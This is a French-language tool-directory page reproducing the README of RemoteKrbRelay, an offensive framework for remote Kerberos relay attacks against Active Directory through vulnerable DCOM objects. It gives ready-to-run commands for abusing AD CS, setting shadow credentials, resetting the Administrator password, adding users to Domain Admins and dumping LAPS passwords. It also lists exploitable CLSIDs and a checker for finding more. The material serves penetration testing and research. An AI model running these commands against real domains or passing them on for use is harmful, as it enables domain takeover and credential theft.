Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
RemoteKrbRelay — Relais Kerberos distant rendu facile ! Framework avancé de relais Kerberos | Kitploit
Outils/GitHubGitHub/cicada8-research/remotekrbrelay
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationMouvement LatéralTests d'IntrusionAuthentificationRed Teaming
GitHubcicada8-research/remotekrbrelay

RemoteKrbRelay

Relais Kerberos distant rendu facile ! Framework avancé de relais Kerberos

Voir le dépôt
6509516il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
                            /\_/\____,
                  ,___/\_/\ \  ~     /
                  \     ~  \ )   XXX
                    XXX     /    /\_/\___,
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)

RemoteKrbRelay

Vous connaissez probablement KrbRelay et KrbRelayUp, mais que diriez-vous si cela pouvait être fait à distance ? Avec RemoteKrbRelay, cela devient une réalité.

TL;DR

En savoir plus sur CertifiedDCOM ici. CertifiedDCOM vous permet de déclencher un compte machine ADCS :

# CertifiedDCOM (Abuse AD CS by setting RBCD)
  .\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$

# CertifiedDCOM (Abuse ADCS to get Machine cert)
   .\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

# CertifiedDCOM (Abuse ADCS with ShadowCreds)
  .\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred

Il y a aussi l'exploit SilverPotato. Vous pouvez l'utiliser pour abuser des sessions. Y compris une session d'administrateur de domaine sur un hôte tiers.

# Change user password
  .\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure

# Add user to group
  .\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka

# Dump LAPS passwords
  .\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83

# Send LDAP Whoami request from relayed user
  .\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83

# Trigger authentication from another session
  .\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1

Détails

Maintenant, vous avez quatre dossiers devant vous :

  • Checker - ancienne version du vérificateur pour détecter les objets DCOM vulnérables ;
  • Checkerv2.0 - nouvelle version du vérificateur pour détecter les objets DCOM vulnérables ;
  • Exploit - RemoteKrbRelay.exe :)
  • FindAvailablePort - un outil pour contourner un pare-feu lors de l'utilisation de l'exploit.

Checker

Donc, commençons par Checker. Vous pouvez l'utiliser pour détecter les objets DCOM vulnérables. Un objet DCOM vulnérable peut être considéré comme tel si :

  • Le serveur COM dans lequel l'objet DCOM est exécuté doit être exécuté en tant qu'un autre utilisateur ou en tant que système. Mais jamais en tant que NT AUTHORITY\LOCAL SERVICE, car il utilise des identifiants vides pour s'authentifier depuis le réseau ;
  • Vous devez avoir les autorisations RemoteLaunch, RemoteActivation. Il s'agit de LaunchPermissions ;
  • Le niveau d'emprunt d'identité (impersonation) doit être RPC_C_IMP_LEVEL_IDENTIFY ou supérieur. RPC_C_IMP_LEVEL_IDENTIFY est la valeur par défaut ;
  • Vous devez avoir les autorisations RemoteAccess (ou elles doivent être vides). Il s'agit de AccessPermission.

Pour une détection facile, vous pouvez utiliser Checkerv2.0. Il prend en charge la sortie aux formats csv et xlsx.

PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h

                            /\_/\____,          /\     /\
                  ,___/\_/\ \  ~     /            \ _____\
                  \     ~  \ )   XXX               (_)-(_)
                    XXX     /    /\_/\___,      Checkerv2.0 Collection
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)

Check.exe
Small tool that allow you to find vulnerable DCOM applications

[OPTIONS]
-outfile : output filename
-outformat : output format. Accepted 'csv' and 'xlsx'
-showtable : show the xlsx table when it gets filled
-h/--help : shows this windows

Exemple :

.\Checkerv2.0.exe -outfile win10 -outformat xlsx

Et vous recevrez ce résultat : изображение

Les colonnes contiendront les CLSID des objets DCOM, les noms, ainsi que LaunchPermission et AccessPermission. изображение

Essayez de rechercher les objets sppui (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}, APPID {0868DC9B-D9A2-4f64-9362-133CEA201299}) et CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) et comprenez pourquoi ils sont vulnérables.

N'utilisez pas Checker, utilisez uniquement Checkerv2.0 svp :3

FindAvailablePort

Un petit outil pour découvrir un port sur lequel déployer un serveur DCOM malveillant. Voir les détails ici (Remote -> Local Potato).

изображение

Entraînez-vous à utiliser le concept de port local. Réécrivez RemotePotato0 pour un port local. Croyez-moi, c'est utile.

Exploit

J'ai ajouté pas mal de fonctionnalités différentes à l'exploit. Notez qu'il fournit suffisamment de fonctionnalités pour abuser des objets DCOM. J'ai également listé quelques CLSID dans l'aide pour l'abus. Ces CLSID étaient publiquement connus, il n'y avait simplement pas de POC pour les abuser. Il y a pas mal d'objets DCOM vulnérables, travaillez avec le vérificateur et trouvez-les tous !

PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h

                            /\_/\____,
                  ,___/\_/\ \  ~     /
                  \     ~  \ )   XXX
                    XXX     /    /\_/\___,
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)

[HELP PANEL]
        RemoteKrbRelay.exe
        Relaying Remote Kerberos Auth by easy way
        Usage: RemoteKrbRelay.exe [ATTACKS] [REQUIRED OPTIONS] [OPTIONAL PARAMS] [ATTACK OPTIONS] [SWITCHES]
Télécharger l’outil